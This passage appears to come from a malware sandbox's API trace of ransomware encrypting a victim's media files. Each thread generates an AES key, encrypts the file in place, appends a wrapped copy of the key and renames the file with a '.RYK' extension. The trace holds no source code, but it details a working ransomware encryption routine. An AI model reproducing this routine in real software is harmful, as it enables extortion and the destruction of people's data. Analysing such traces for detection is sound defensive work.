	[0215.590] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv", dwFileAttributes=0x80) returned 1
	[0215.591] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\vh9z9evprjyc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4
	[0215.591] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x8f0fab8 | out: lpFileSize=0x8f0fab8*=95738) returned 1
	[0215.591] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x8f0fac8 | out: lpFileSize=0x8f0fac8*=95738) returned 1
	[0215.592] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x174d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0215.592] ReadFile (in: hFile=0x6c4, lpBuffer=0x8f0fb10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f0fa80, lpOverlapped=0x0 | out: lpBuffer=0x8f0fb10*, lpNumberOfBytesRead=0x8f0fa80*=0x19, lpOverlapped=0x0) returned 1
	[0215.595] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.595] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8f0fa98 | out: phKey=0x8f0fa98*=0x2b90d0) returned 1
	[0215.595] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.595] ReadFile (in: hFile=0x6c4, lpBuffer=0x2980000, nNumberOfBytesToRead=0x175fa, lpNumberOfBytesRead=0x8f0faa4, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x8f0faa4*=0x175fa, lpOverlapped=0x0) returned 1
	[0215.597] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f0faa0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f0faa0*=0xf4250) returned 1
	[0215.597] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x8f0faa8*=0x175fa, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x8f0faa8*=0x17600) returned 1
	[0215.598] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.598] WriteFile (in: hFile=0x6c4, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0x17600, lpNumberOfBytesWritten=0x8f0faa4, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x8f0faa4*=0x17600, lpOverlapped=0x0) returned 1
	[0215.600] WriteFile (in: hFile=0x6c4, lpBuffer=0x8f0fad0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f0fab0, lpOverlapped=0x0 | out: lpBuffer=0x8f0fad0*, lpNumberOfBytesWritten=0x8f0fab0*=0x6, lpOverlapped=0x0) returned 1
	[0215.600] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f0fac0 | out: pbData=0x0*, pdwDataLen=0x8f0fac0*=0x10c) returned 1
	[0215.600] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f0fb30, pdwDataLen=0x8f0fac0 | out: pbData=0x8f0fb30*, pdwDataLen=0x8f0fac0*=0x10c) returned 1
	[0215.600] WriteFile (in: hFile=0x6c4, lpBuffer=0x8f0fb30*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f0fab0, lpOverlapped=0x0 | out: lpBuffer=0x8f0fb30*, lpNumberOfBytesWritten=0x8f0fab0*=0x10c, lpOverlapped=0x0) returned 1
	[0215.600] CloseHandle (hObject=0x6c4) returned 1
	[0215.608] CryptDestroyKey (hKey=0x2b90d0) returned 1
	[0215.608] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\vh9z9evprjyc.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\vh9z9evprjyc.flv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2235
	os_tid = 0x2848

	[0215.616] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv", dwFileAttributes=0x80) returned 1
	[0215.617] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\w5fbdldrsf.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4
	[0215.618] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x901fcd8 | out: lpFileSize=0x901fcd8*=11539) returned 1
	[0215.618] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x901fce8 | out: lpFileSize=0x901fce8*=11539) returned 1
	[0215.618] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x2bf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0215.618] ReadFile (in: hFile=0x6c4, lpBuffer=0x901fd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x901fca0, lpOverlapped=0x0 | out: lpBuffer=0x901fd30*, lpNumberOfBytesRead=0x901fca0*=0x19, lpOverlapped=0x0) returned 1
	[0215.621] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.621] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x901fcb8 | out: phKey=0x901fcb8*=0x2b90d0) returned 1
	[0215.621] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.621] ReadFile (in: hFile=0x6c4, lpBuffer=0x2f90000, nNumberOfBytesToRead=0x2d13, lpNumberOfBytesRead=0x901fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x901fcc4*=0x2d13, lpOverlapped=0x0) returned 1
	[0215.621] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x901fcc0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x901fcc0*=0xf4250) returned 1
	[0215.621] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x901fcc8*=0x2d13, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x901fcc8*=0x2d20) returned 1
	[0215.622] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.622] WriteFile (in: hFile=0x6c4, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x901fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x901fcc4*=0x2d20, lpOverlapped=0x0) returned 1
	[0215.622] WriteFile (in: hFile=0x6c4, lpBuffer=0x901fcf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x901fcd0, lpOverlapped=0x0 | out: lpBuffer=0x901fcf0*, lpNumberOfBytesWritten=0x901fcd0*=0x6, lpOverlapped=0x0) returned 1
	[0215.622] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x901fce0 | out: pbData=0x0*, pdwDataLen=0x901fce0*=0x10c) returned 1
	[0215.622] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x901fd50, pdwDataLen=0x901fce0 | out: pbData=0x901fd50*, pdwDataLen=0x901fce0*=0x10c) returned 1
	[0215.622] WriteFile (in: hFile=0x6c4, lpBuffer=0x901fd50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x901fcd0, lpOverlapped=0x0 | out: lpBuffer=0x901fd50*, lpNumberOfBytesWritten=0x901fcd0*=0x10c, lpOverlapped=0x0) returned 1
	[0215.623] CloseHandle (hObject=0x6c4) returned 1
	[0215.625] CryptDestroyKey (hKey=0x2b90d0) returned 1
	[0215.625] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\w5fbdldrsf.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\w5fbdldrsf.mkv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2236
	os_tid = 0x284c

	[0215.627] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg", dwFileAttributes=0x80) returned 1
	[0216.293] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wlgrvy balme.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0216.295] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x8d8f878 | out: lpFileSize=0x8d8f878*=85608) returned 1
	[0216.295] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x8d8f888 | out: lpFileSize=0x8d8f888*=85608) returned 1
	[0216.295] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x14d46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0216.295] ReadFile (in: hFile=0x6d0, lpBuffer=0x8d8f8d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d8f840, lpOverlapped=0x0 | out: lpBuffer=0x8d8f8d0*, lpNumberOfBytesRead=0x8d8f840*=0x19, lpOverlapped=0x0) returned 1
	[0216.298] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.298] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8d8f858 | out: phKey=0x8d8f858*=0x2b8e30) returned 1
	[0216.299] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.299] ReadFile (in: hFile=0x6d0, lpBuffer=0x3090000, nNumberOfBytesToRead=0x14e68, lpNumberOfBytesRead=0x8d8f864, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x8d8f864*=0x14e68, lpOverlapped=0x0) returned 1
	[0216.301] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8d8f860*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8d8f860*=0xf4250) returned 1
	[0216.301] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x8d8f868*=0x14e68, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x8d8f868*=0x14e70) returned 1
	[0216.302] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.302] WriteFile (in: hFile=0x6d0, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0x14e70, lpNumberOfBytesWritten=0x8d8f864, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x8d8f864*=0x14e70, lpOverlapped=0x0) returned 1
	[0216.304] WriteFile (in: hFile=0x6d0, lpBuffer=0x8d8f890*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8d8f870, lpOverlapped=0x0 | out: lpBuffer=0x8d8f890*, lpNumberOfBytesWritten=0x8d8f870*=0x6, lpOverlapped=0x0) returned 1
	[0216.304] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8d8f880 | out: pbData=0x0*, pdwDataLen=0x8d8f880*=0x10c) returned 1
	[0216.304] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8d8f8f0, pdwDataLen=0x8d8f880 | out: pbData=0x8d8f8f0*, pdwDataLen=0x8d8f880*=0x10c) returned 1
	[0216.304] WriteFile (in: hFile=0x6d0, lpBuffer=0x8d8f8f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8d8f870, lpOverlapped=0x0 | out: lpBuffer=0x8d8f8f0*, lpNumberOfBytesWritten=0x8d8f870*=0x10c, lpOverlapped=0x0) returned 1
	[0216.304] CloseHandle (hObject=0x6d0) returned 1
	[0217.895] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0217.895] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wlgrvy balme.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wlgrvy balme.jpg.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2237
	os_tid = 0x2850

	[0215.725] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a", dwFileAttributes=0x80) returned 1
	[0216.847] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xhyat.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0216.847] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x919f5f8 | out: lpFileSize=0x919f5f8*=72504) returned 1
	[0216.847] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x919f608 | out: lpFileSize=0x919f608*=72504) returned 1
	[0216.848] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x11a16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0216.848] ReadFile (in: hFile=0x6cc, lpBuffer=0x919f650, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x919f5c0, lpOverlapped=0x0 | out: lpBuffer=0x919f650*, lpNumberOfBytesRead=0x919f5c0*=0x19, lpOverlapped=0x0) returned 1
	[0216.851] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.851] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x919f5d8 | out: phKey=0x919f5d8*=0x2b9300) returned 1
	[0216.851] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.851] ReadFile (in: hFile=0x6cc, lpBuffer=0x3190000, nNumberOfBytesToRead=0x11b38, lpNumberOfBytesRead=0x919f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x919f5e4*=0x11b38, lpOverlapped=0x0) returned 1
	[0216.853] CryptEncrypt (in: hKey=0x2b9300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x919f5e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x919f5e0*=0xf4250) returned 1
	[0216.854] CryptEncrypt (in: hKey=0x2b9300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x919f5e8*=0x11b38, dwBufLen=0xf4250 | out: pbData=0x3190000*, pdwDataLen=0x919f5e8*=0x11b40) returned 1
	[0216.854] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.854] WriteFile (in: hFile=0x6cc, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0x11b40, lpNumberOfBytesWritten=0x919f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x919f5e4*=0x11b40, lpOverlapped=0x0) returned 1
	[0216.855] WriteFile (in: hFile=0x6cc, lpBuffer=0x919f610*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x919f5f0, lpOverlapped=0x0 | out: lpBuffer=0x919f610*, lpNumberOfBytesWritten=0x919f5f0*=0x6, lpOverlapped=0x0) returned 1
	[0216.856] CryptExportKey (in: hKey=0x2b9300, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x919f600 | out: pbData=0x0*, pdwDataLen=0x919f600*=0x10c) returned 1
	[0216.856] CryptExportKey (in: hKey=0x2b9300, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x919f670, pdwDataLen=0x919f600 | out: pbData=0x919f670*, pdwDataLen=0x919f600*=0x10c) returned 1
	[0216.856] WriteFile (in: hFile=0x6cc, lpBuffer=0x919f670*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x919f5f0, lpOverlapped=0x0 | out: lpBuffer=0x919f670*, lpNumberOfBytesWritten=0x919f5f0*=0x10c, lpOverlapped=0x0) returned 1
	[0216.856] CloseHandle (hObject=0x6cc) returned 1
	[0216.865] CryptDestroyKey (hKey=0x2b9300) returned 1
	[0216.866] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xhyat.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xhyat.m4a.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2238
	os_tid = 0x2854

	[0216.336] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv", dwFileAttributes=0x80) returned 1
	[0216.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xz-jxxh.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0216.822] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x943f8b8 | out: lpFileSize=0x943f8b8*=59865) returned 1
	[0216.823] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x943f8c8 | out: lpFileSize=0x943f8c8*=59865) returned 1
	[0216.823] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe8b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0216.823] ReadFile (in: hFile=0x5c4, lpBuffer=0x943f910, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x943f880, lpOverlapped=0x0 | out: lpBuffer=0x943f910*, lpNumberOfBytesRead=0x943f880*=0x19, lpOverlapped=0x0) returned 1
	[0216.826] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.826] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x943f898 | out: phKey=0x943f898*=0x2b9300) returned 1
	[0216.826] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.827] ReadFile (in: hFile=0x5c4, lpBuffer=0x3290000, nNumberOfBytesToRead=0xe9d9, lpNumberOfBytesRead=0x943f8a4, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesRead=0x943f8a4*=0xe9d9, lpOverlapped=0x0) returned 1
	[0216.829] CryptEncrypt (in: hKey=0x2b9300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x943f8a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x943f8a0*=0xf4250) returned 1
	[0216.829] CryptEncrypt (in: hKey=0x2b9300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x943f8a8*=0xe9d9, dwBufLen=0xf4250 | out: pbData=0x3290000*, pdwDataLen=0x943f8a8*=0xe9e0) returned 1
	[0216.830] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.830] WriteFile (in: hFile=0x5c4, lpBuffer=0x3290000*, nNumberOfBytesToWrite=0xe9e0, lpNumberOfBytesWritten=0x943f8a4, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesWritten=0x943f8a4*=0xe9e0, lpOverlapped=0x0) returned 1
	[0216.831] WriteFile (in: hFile=0x5c4, lpBuffer=0x943f8d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x943f8b0, lpOverlapped=0x0 | out: lpBuffer=0x943f8d0*, lpNumberOfBytesWritten=0x943f8b0*=0x6, lpOverlapped=0x0) returned 1
	[0216.831] CryptExportKey (in: hKey=0x2b9300, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x943f8c0 | out: pbData=0x0*, pdwDataLen=0x943f8c0*=0x10c) returned 1
	[0216.831] CryptExportKey (in: hKey=0x2b9300, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x943f930, pdwDataLen=0x943f8c0 | out: pbData=0x943f930*, pdwDataLen=0x943f8c0*=0x10c) returned 1
	[0216.831] WriteFile (in: hFile=0x5c4, lpBuffer=0x943f930*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x943f8b0, lpOverlapped=0x0 | out: lpBuffer=0x943f930*, lpNumberOfBytesWritten=0x943f8b0*=0x10c, lpOverlapped=0x0) returned 1
	[0216.831] CloseHandle (hObject=0x5c4) returned 1
	[0216.844] CryptDestroyKey (hKey=0x2b9300) returned 1
	[0216.845] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xz-jxxh.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xz-jxxh.flv.ryk"), dwFlags=0x8) returned 1

Thread:
